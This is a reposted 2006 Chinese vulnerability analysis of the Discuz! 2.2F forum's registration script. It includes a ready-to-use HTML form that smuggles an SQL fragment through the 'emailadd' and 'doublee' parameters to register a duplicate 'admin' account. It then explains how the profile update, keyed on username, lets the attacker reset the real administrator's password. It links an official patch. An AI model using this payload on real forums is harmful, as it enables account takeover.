登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

Discuz 2.2F注册程序过滤不严漏洞
发表日期:2006-03-12作者:ZhaoHuan[转贴] 出处:安全焦点  

整理: 召唤     ZhaoHuan@phack.org
本来网站被黑是黑丢人的事,但既然在网站都公布出来了,只好厚脸皮发了
这个漏洞是Discuz!免费版2.2F的注册程序存在过滤不严的问题,可以通过构造表单实现特殊的数据库查询,进而危及论坛用户账号的安全。
2004年8月10日以后下载的2.2F程序,没有此问题。
__________________________________________________
HACKBASE:在测试这个漏洞的时候,多谢 娇娘 和xiaolu的帮助。
我们先来搜索一个站点,出于对黑客站点的偏爱,我们选择了
http://www.phack.org/cnelites/来测试....
(注:本人的 http://www.phack.org/cnelites/ 已经关闭)
正文:
作者:ANGEL

我知道 Discuz 2.2F 有两个致命漏洞,但是官方也发布了更新版本,不知道这里存在不,不管怎么说,获得 webshell 是最基本的,不然一切都不可能,恰好 Discuz 2.2F 给我们提供了条件,访问 http://172.16.0.125/forumdata/illegallog.php ,返回“ Access Denied ”,漏洞不存在,换一个,这个 2.2F 的早期版本可以注册相同的 ID ,不过对于繁体的论坛的中文名注册会变乱码,我只测试了英文名的,不管,先写一个表单:


<FORM action="http://172.16.0.125/register.php?emailadd=and uid=100000&doublee=1" method="post" target="_blank">
用户名 :<INPUT name=username value="admin"><br>
密码:<INPUT name=password type=text value="123456"><br>
确认密码:<INPUT name=password2 type=text value="123456"><br>
E-mail :<INPUT name=email value="4ngel@21cn.com"><br>
<INPUT type=submit value= 注册 name=regsubmit>
</FORM>



  这个漏洞不是我发现的,但是我自己分析过,在我们的内部论坛有我的分析报告,现在公布出来。先说说这个漏洞的利用和存在的理由。


  register.php 的代码中有如下代码:


$email = trim($email);
if(!$doublee && strstr($email, @)) {
  $emailadd = "OR email=$email";
}



  这里是说如果不存在 $doublee 这个变量,并且判断邮件地址格式正确,就指定 $emailadd 这个变量为 "OR email=$email" ,为后面的 SQL 语句做准备。往下有一段代码如下:


$query = $db->query("SELECT COUNT(*) FROM $table_members WHERE username=$username $emailadd ");
if($db->result($query, 0)) {
  showmessage(profile_account_duplicate);
}



  默认 $emailadd = "OR email=$email" 是满足的,所以上面的 SQL 语句就变成判断用户名和邮箱,有任意一个相同,就提示“该用户名或 Email 地址已经被注册了,请返回重新填写。”


  利用的方法是给 $doublee 赋值,然后就可以饶过 $emailadd = "OR email=$email" 这句,然后再自己构造 $emailadd 这个变量,这个就是我在本地表单的 action 构造的原因。


<FORM action="http://172.16.0.125/register.php? emailadd=and uid=100000&doublee=1" method="post">



  然后这个语句到了上面的 SQL 语句那里,就变成:


SELECT COUNT(*) FROM $table_members WHERE username=$username and uid=100000



  既然是同时用用户名和用户 ID 判断,那么这个肯定是不成立的了,就可以顺利跳过


if($db->result($query, 0)) {
  showmessage(profile_account_duplicate);
}



  直接到达这里插入记录:


$db->query("INSERT INTO $table_members (........) VALUES (........)");



  也就注册了相同的用户名。然后再看看 memcp.php ,看到更新用户资料的那里, SQL 语句居然是这样。


UPDATE $table_members SET ...... WHERE username=$discuz_user



  直接更新所有用户名为 XX 的资料。呵呵,就达到了修改管理员的密码的目的。呵呵, DZ 论坛没有用 id 来判断更新是不严谨的。没有考虑到唯一性……
____________________________________

DZ官方已经公布了补丁:

http://www.discuz.net/viewthread.php?tid=70696&extra=page%3D1

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 Discuz 2.2F注册程序过滤不严漏洞

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00183